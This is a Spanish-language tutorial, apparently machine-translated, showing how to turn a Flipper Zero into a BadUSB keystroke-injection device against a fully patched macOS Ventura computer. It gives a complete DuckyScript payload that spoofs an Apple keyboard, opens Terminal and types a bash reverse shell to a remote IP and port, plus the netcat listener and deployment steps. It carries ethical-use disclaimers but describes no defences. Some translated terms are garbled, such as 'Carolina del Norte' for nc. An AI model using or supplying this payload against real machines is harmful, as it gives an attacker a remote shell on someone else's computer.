Usando un Flipper Zero, un archivo de texto DuckyScript corto de 12 líneas y un oyente remoto en mi servidor Ubuntu, pude obtener un shell en mi computadora Ventura macOS completamente parcheada y actualizada.
En mi entorno de laboratorio, uso Flipper Zero como un dispositivo de pentesting para probar vulnerabilidades en mis servidores y sistemas de escritorio.
Flipper Zero es nuestra herramienta de piratería ética preferida porque ofrece una cantidad infinita de cargas útiles disponibles, tiene una herramienta de selección de menú en pantalla y utiliza una pantalla de progreso para proporcionar comentarios.
Este artículo es un ejemplo de cómo usar el Flipper Zero como un dispositivo BadUSB de Pentesting Ético y cómo evitar ser víctima de tal exploit. No use esto en computadoras que no sean de su propiedad o que no tenga permiso para usar. Este código no se esfuerza por ocultarse de los sistemas de detección de intrusiones (IDS), los sistemas de prevención de intrusiones (IPS), los sistemas de detección de red, los cortafuegos o el software antivirus (AV).
Flipper Zero BadUSB, así como varios otros dispositivos BadUSB, usan cargas útiles escritas en DuckyScript. Un lenguaje de secuencias de comandos simple para realizar pulsaciones de teclas que resultan en un ataque de inyección de teclado.
Un buen punto de referencia inicial para Duckyscript Payloads es el sitio web oficial de Hak5:
Puede usar un guión ya hecho o puede aprender a escribir el suyo propio. Le mostraremos cómo explotar un shell inverso en una computadora macOS en un sencillo tutorial paso a paso.
Use su editor de texto favorito e ingrese el siguiente texto. El macOS tiene la aplicación TextEdit instalada de forma predeterminada, así que la usaremos.
ID 05ac:021e Apple:Keyboard
DELAY 1000
GUI SPACE
DELAY 200
STRING terminal
DELAY 200
ENTER
DELAY 1000
STRING bash -i >& /dev/tcp/10.10.10.157/4444 0>&1
DELAY 1000
ENTER
DELAY 1000
Para este tutorial no necesitamos saber mucho sobre DuckyScript, así que repasaremos los pocos comandos que usa nuestro script. En realidad, solo hay cinco comandos diferentes que usamos.
Dominio | Descripción |
---|---|
ID 05ac:021e Apple:Teclado | Esta línea le dice a macOS que nuestro Flipper Zero es realmente un teclado Apple. Si no usa esta línea, macOS muestra el cuadro de diálogo Asistente de configuración del teclado, lo que hará que su secuencia de comandos falle. |
DEMORA | Este comando indica al sistema operativo que espere un período de tiempo. Si no utilizamos estos retrasos, el script se ejecutará demasiado rápido y fallará. |
ESPACIO GUI | Presiona la tecla Comando de Apple y la barra espaciadora para abrir la ventana 'Búsqueda de Spotlight'. |
Terminal de CADENA | Introduce la cadena 'Terminal' en la ventana de búsqueda de Spotlight |
INGRESAR | Presiona la tecla ENTER o Return en tu teclado. Después de presionar la tecla ENTER, macOS inicia la ventana Terminal (/Aplicaciones/Utilidades/Terminal) |
CADENA bash -i >& /dev/tcp/10.10.10.157/4444 0>&1 | Este comando ingresa el texto en la ventana del terminal que establece una conexión con el servidor Netcat que escucha en 10.10.10.157 en el puerto 4444 |
Cambie la dirección IP en 10.10.10.157 y el puerto 4444 a la dirección IP y el puerto de su servidor.
Guarde este archivo en su disco como rev_shell_macos.txt . No hay una organización de subdirectorios en el directorio badusb en Flipper Zero, por lo que si está utilizando múltiples cargas útiles para diferentes sistemas operativos, use una convención de nomenclatura que signifique algo para usted para que sepa lo que hace.
Si aún no ha instalado la aplicación qflipper, vaya a la página de actualización oficial de Flipper Zero y seleccione el instalador para su sistema operativo. La página es la página de actualización de firmware, pero en la parte inferior hay enlaces para instalar la aplicación qflipper.
https://flipperzero.one/update
Siga las instrucciones de su sistema operativo para instalar la aplicación qflipper.
Abra la aplicación qflipper y seleccione el icono de carpeta resaltado en rojo.
Seleccione y haga doble clic en el icono de la tarjeta SD para ver el contenido.
Localice y arrastre el archivo rev_shell_macos.txt que creamos anteriormente a la carpeta badusb .
Retire el Flipper Zero de su computadora cuando termine de copiar el archivo.
El Flipper Zero BadUSB está armado y listo para usar. Pero primero, debemos configurar nuestro oyente remoto en nuestro servidor. En nuestro servidor Ubuntu, inicie la escucha de Netcat con el siguiente comando:
$ nc -nlvp 4444
El desglose del comando se muestra en la siguiente tabla. Nuevamente, realmente no necesita saber qué sucede con este comando, aparte de que está esperando una conexión entrante.
Dominio | Opciones |
---|---|
Carolina del Norte | Comando netcat |
-nlvp | ( n ) sin resolución de DNS, ( l ) escuchar la conexión entrante, ( v ) salida detallada, ( p ) puerto |
4444 | Número de puerto para escuchar |
Ahora que nuestro oyente Netcat está listo y esperando una conexión entrante, podemos continuar con el ataque Flipper Zero BadUSB.
La parte más difícil ya está hecha. El archivo Flipper Zero BadUSB reverse_shell_macos.txt se escribe, se mueve a Flipper Zero y el oyente de Netcat está esperando una conexión.
Localice el menú Bad USB y seleccione el botón Ejecutar. No conecte su Flipper Zero a su computadora todavía. El Flipper Zero te avisará cuando sea el momento de conectar tu dispositivo.
Navegue hasta el archivo DuckyScript que copiamos en el paso anterior. Si no ve este archivo, lo copió en el directorio incorrecto. Seleccione rev_shell_macos y haga clic en el botón Ejecutar.
Cuando vea la alerta Conectar a USB , puede conectar su Flipper Zero al puerto USB de su iMac o MacBook. Haga clic en el botón Ejecutar.
Puede ver el progreso de su secuencia de comandos BadUSB en la ventana principal. Una vez que el estado alcanza el 100%, la carga útil está completa y puede eliminar el Flipper Zero.
Si está mirando el monitor de la computadora del iMac, puede ver el exploit mientras ejecuta el DuckyScript. El oyente de Netcat en nuestro servidor Ubuntu muestra los resultados de la solicitud exitosa.
Ahora tiene el control de la computadora macOS a través de un shell inverso. Al ejecutarse en una versión de BSD Linux, puede usar las herramientas de línea de comandos de Unix y un shell BASH como si estuviera sentado frente al teclado del iMac físico.
Puede usar comandos regulares de Linux como whoami , pwd , ls o cd para navegar por el sistema de archivos y manipular el sistema operativo.
Ahora que comprende cómo funciona Flipper Zero como un dispositivo BadUSB, puede crear sus propios scripts. Utilice el sitio Hak5 o uno de los muchos repositorios DuckyScript GitHub disponibles a través de una búsqueda en Google como punto de partida para sus propios archivos Duckyscript.
Operar legal y éticamente. Utilice esta herramienta en dispositivos de su propiedad o para los que tenga permiso de uso.